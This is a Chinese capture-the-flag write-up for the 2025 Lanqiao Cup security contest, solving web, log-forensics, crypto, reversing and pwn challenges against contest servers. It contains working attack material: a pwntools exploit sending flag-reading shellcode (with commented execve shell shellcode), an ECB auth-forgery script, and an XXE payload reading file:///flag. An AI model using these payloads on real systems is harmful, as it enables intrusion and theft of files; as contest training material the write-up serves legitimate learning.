2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup

2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup

2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup

情报收集

黑客密室逃脱

根据网页提示,一步步进行,最后得到读取文件接口,尝试读取./,报错:

得知这个python文件为app.py,直接读取源码:

发现它将key写入了文件中,读取key:

复制代码
secret_key8969

密文在一开始的页面中,

编写脚本如下:

python 复制代码
def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

def simple_decrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(char - ord(key_char))
    return encrypted

print(simple_decrypt(b''.fromhex('d9d1c4d9e0da90a197ae9e716e66a7959aa592a8c0cd98a6706d699aa098c6abc6ab93cecada9b6f98b6'),'secret_key8969'))

数据分析

ezEvtx

下载文件,双击打开,按事件ID排序,找到了一个跟别的事件id不同的事件:

答案即为 confidential.docx。

flowzip

wireshark 打开,过滤器设置为 tcp contains "flag"

直接看到 flag。

密码破解

Enigma

打开网页,是cyberchef的网页,打开自己的本地Cyberchef,设置相同的参数,解出原文:

复制代码
file:///D:/Windows/CTF%20tools/Cryptography/CyberChef/CyberChef_v10.19.4.html#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','EKMFLGDQVZNTOWYHXUSPAIBRCJ%3CR','A','A','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','A','A','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','',true)&input=SUxCREEgTUhTV1ggTU9STlogRERET1QgS1VZWkEgVlNCSkM&oeol=NEL

原文为:

复制代码
HELLO CTFER THISI SAMES SAGEF ORYOU

ECBTrain

根据尝试,发现用户名相同时,得到的auth相同,且base64解码后总为16字节,猜测auth为用户名加密后的结果,用户名不能设置为admin,结合题目提示,第二块明文设置为admin,脚本如下:

复制代码
from pwn import *

p = remote("8.147.132.32", 18450)

p.recvuntil('请输入选项编号: '.encode())

p.sendline(b'1')
p.sendline(b'a'*16+b'admin')
p.sendline(b'aaa')

p.interactive()

得到auth后base64解码,截取后16字节后base64编码,选择登录,输入auth,得到flag。

easy_AES

关键点在于key1是由key0进行置换后得到的,尝试编写脚本爆破置换表后进行解密。

编写脚本如下:

python 复制代码
from Crypto.Cipher import AES  # 导入AES加密模块
# from secret import flag       # 从secret模块导入flag(假设为明文)
import random, os             # 导入random和os模块用于随机数生成

# 为消息填充字节,使其长度为16的倍数
def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

# 对密钥进行随机置换,生成新密钥
def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表(去掉"0x"前缀)
    random.shuffle(tables)                    # 随机打乱表
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
    return newkey

# 生成初始密钥key0及其置换密钥key1
def gen():
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
    key1 = permutation(key0)     # 对key0进行置换生成key1
    return key0, key1

# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IV
    return aes1.decrypt(aes0.encrypt(msg))    # 先加密后解密生成密文

def decrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IV
    return aes0.decrypt(aes1.encrypt(msg))    # 先加密后解密生成密文

'''
# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数

gift = a0 & a1  # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
# key1 = b''.fromhex('74aeb356c6eb74f364cd316497c0f714')
key1 = int('74aeb356c6eb74f364cd316497c0f714', 16)
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

# gift = bytes.fromhex(hex(gift)[2:])
# key1 = bytes.fromhex(hex(key1)[2:])
gift = hex(gift)[2:]
key1 = hex(key1)[2:]
key0 = [[-1]]*16

print(gift)
print(key1)
print(key0)

for i in range(32):
    key_new = []
    for j in range(16):
        if int(key1[i],16) & j == int(gift[i],16):
            # print(j)
            key_new.append(hex(j)[2:])
            
    # print(int(key1[i],16))
    key0[int(key1[i],16)] = key_new

for i in range(len(key0)):
    if key0[i][0] == -1:
        key0[i] = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
print(key0)
key0a = []

def gogogo(used,i):
    global key0,key0a
    for j in key0[i]:
        if j not in used:
            if i != 15:
                used2 = used + [j]
                # print(used2)
                gogogo(used2, i+1)
            else:
                key0a.append(used + [j])

gogogo([],0)
# print(key0a)

# for i in key0a:
#     if not i is list:
#         continue
#     # for j in range(len(key1)):
#     #     try:
#     #         newkey = "".join(i[int(key1[j], 16)])
#     #     except:
#     #         print(i)
#     #         print(int(key1[j], 16))
#     #         print(i[int(key1[j], 16)])
#     #         exit(0)
#     newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))
#     try:
#         ret = decrypt(newkey, key1, cipher)
#         if b'flag' in ret:
#             print(ret)
#             break
#     except:
#         print(newkey)
    
ret_all = b''

for i in key0a:
    newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))

    # print(newkey)
    a0, a1 = int(newkey, 16), int(key1, 16)
    if a0 & a1 == 64698960125130294692475067384121553664:
        # print(newkey)
        ret = decrypt(bytes.fromhex(newkey), bytes.fromhex(key1), cipher)
        # print(ret)
        ret_all += ret

with open('result.txt', 'wb') as f:
    f.write(ret_all)

打开写出的 result.txt,搜索 flag:

逆向分析

ShadowPhases

IDA打开程序,发现解密代码,直接复制执行即可:

c 复制代码
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>

using namespace std;
typedef long long LL;
typedef long double DD;

__int64 __fastcall sub_40159A(unsigned __int8 a1)
{
  return (2 * a1) | (unsigned int)(a1 >> 7);
}

unsigned __int64 __fastcall sub_4015B6(__int64 a1, unsigned __int64 a2, char a3)
{
  unsigned __int64 result; // rax
  unsigned __int64 i; // [rsp+28h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    *(_BYTE *)(i + a1) = a3 ^ sub_40159A(*(unsigned __int8 *)(a1 + i));
  }
  return result;
}

int main()
{
    char Str1[128]; // [rsp+30h] [rbp-50h] BYREF
    char Str2[128]; // [rsp+B0h] [rbp+30h] BYREF
    void *v6; // [rsp+130h] [rbp+B0h]
    void *v7; // [rsp+138h] [rbp+B8h]
    void *v8; // [rsp+140h] [rbp+C0h]
    void *v9; // [rsp+150h] [rbp+D0h]
    void *v10; // [rsp+158h] [rbp+D8h]
    void *v11; // [rsp+160h] [rbp+E0h]
    char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREF
    char v13[15]; // [rsp+17Bh] [rbp+FBh] BYREF
    char Src[14]; // [rsp+18Ah] [rbp+10Ah] BYREF
    char* v15; // [rsp+18Fh] [rbp+10Fh] BYREF
    void *v16; // [rsp+198h] [rbp+118h]
    void *v17; // [rsp+1A0h] [rbp+120h]
    void *Block; // [rsp+1A8h] [rbp+128h]
    char v19[6]; // [rsp+1B2h] [rbp+132h] BYREF
    size_t v20; // [rsp+1B8h] [rbp+138h]
    size_t v21; // [rsp+1C0h] [rbp+140h]
    size_t Size; // [rsp+1C8h] [rbp+148h]
    v15 = Src + 5;

    Src[0] = 0;
    Src[1] = 5;
    Src[2] = -125;
    Src[3] = 0x80;
    Src[4] = -114;
    strcpy(v15, "+");
    v15[2] = -125;
    v15[3] = 47;
    v15[4] = -86;
    v15[5] = 43;
    v15[6] = -127;
    v15[7] = -88;
    v15[8] = -91;
    Size = 14;
    v13[0] = 19;
    v13[1] = 57;
    v13[2] = -66;
    v13[3] = -66;
    v13[4] = -76;
    v13[5] = 56;
    v13[6] = -72;
    v13[7] = -70;
    v13[8] = -69;
    v13[9] = -76;
    v13[10] = 62;
    v13[11] = -112;
    v13[12] = 58;
    v13[13] = -70;
    v13[14] = -76;
    v21 = 15;
    v12[0] = -117;
    v12[1] = -119;
    v12[2] = 34;
    v12[3] = -120;
    v12[4] = -117;
    v12[5] = 32;
    v12[6] = 9;
    v12[7] = 34;
    v12[8] = -120;
    v12[9] = 8;
    v12[10] = -115;
    v12[11] = -120;
    v12[12] = -81;
    v20 = 13;
    v19[5] = -103;
    v19[4] = -35;
    v19[3] = -1;
    qmemcpy(v19, "\"Df", 3);
    Block = malloc(0xFu);
    v17 = malloc(v21 + 1);
    v16 = malloc(v20 + 1);
    memcpy(Block, Src, Size);
    memcpy(v17, v13, v21);
    memcpy(v16, v12, v20);
    sub_4015B6((long long)Block, Size, (unsigned __int8)v19[2]);
    sub_4015B6((long long)v17, v21, (unsigned __int8)v19[1]);
    sub_4015B6((long long)v16, v20, (unsigned __int8)v19[0]);
    *((_BYTE *)Block + Size) = 0;
    *((_BYTE *)v17 + v21) = 0;
    *((_BYTE *)v16 + v20) = 0;
    v9 = v17;
    v10 = v16;
    v11 = Block;
    v6 = Block;
    v7 = v17;
    v8 = v16;
    snprintf(Str2, 128, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);

    printf(Str2);

	return 0; //-22 61 13 92
}

漏洞挖掘分析

RuneBreach

IDA打开,发现在被boss击败后(一直输入n),可以获得一次read后直接执行的机会,但是由于seccomp限制,不能getshell,只能读取flag。代码如下:

python 复制代码
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

context.log_level = "debug"
context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', '--title', 'gdb', 'bash', '-c']


# p = remote("challenge.qsnctf.com", 30714)
p = remote("39.106.25.161", 37397)
# p = process("./chall")
# elf = ELF("/mnt/c/Users/崔志鹏/Desktop/临时/RANDOM")
# _libc = ELF('./libc.so.6')

# target_address = 0x40094E
# ret_address = 0x40066A
# pop_rdi = 0x400743

# 64位
context(arch="amd64",os="linux")
stack_len = 0x80 + 0x8

# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"    #64位 23字节
# shellcode = asm(shellcraft.sh())	#自动生成shellcode
shellcode = asm(shellcraft.cat("flag"))
# shellcode = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

# payload = shellcode.ljust(stack_len , b"\x00") + p64(jmp_rsp_address) + asm("sub rsp, 0x90") + asm("jmp rsp")
# payload = stack_len * b"\x00" + p64(target_address)

p.recvuntil(b'==== BOSS BATTLE START ====\n\n')

p.recvline()

while(True):
    p.recvline()
    p.recvline()
    p.recvline()
    # p.recvline()
    p.sendline(b'n')
    p.recvline()
    p.recvline()
    ret = p.recvline()
    if not ret.startswith(b'-- Round '):
        break

p.recvuntil(b'Say your last word to your territory:')
# gdb.attach(p)
# input()
p.send(shellcode)
# p.send(payload)

p.interactive()

星际XML解析器

可以解析XML,直接利用XXE读取flag:

复制代码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
相关推荐
triticale4 分钟前
【蓝桥杯】P12165 [蓝桥杯 2025 省 C/Java A] 最短距离
java·蓝桥杯
小吃饱了1 小时前
LSA六种类型
网络·智能路由器
小鹿鹿啊1 小时前
C语言编程--14.电话号码的字母组合
c语言·开发语言·算法
游王子1 小时前
springboot3 声明式 HTTP 接口
网络·spring boot·网络协议·http
一只鱼^_2 小时前
第十六届蓝桥杯大赛软件赛省赛 C/C++ 大学B组 [京津冀]
c语言·数据结构·c++·算法·贪心算法·蓝桥杯·动态规划
神经毒素2 小时前
WEB安全--RCE--webshell bypass
网络·安全·web安全
猿周LV2 小时前
网络原理 - 应用层, 传输层(UDP 和 TCP) 进阶, 网络层, 数据链路层 [Java EE]
服务器·网络·网络协议·tcp/ip·udp·java-ee
Zz_waiting.2 小时前
网络原理 - 9
linux·服务器·网络·网络协议·tcp/ip
娃娃略2 小时前
【AI模型学习】双流网络——更强大的网络设计
网络·人工智能·pytorch·python·神经网络·学习
Kisorge2 小时前
【电机仿真】MPC模型预测转速、电流双闭环控制器——PMSM有感FOC控制
c语言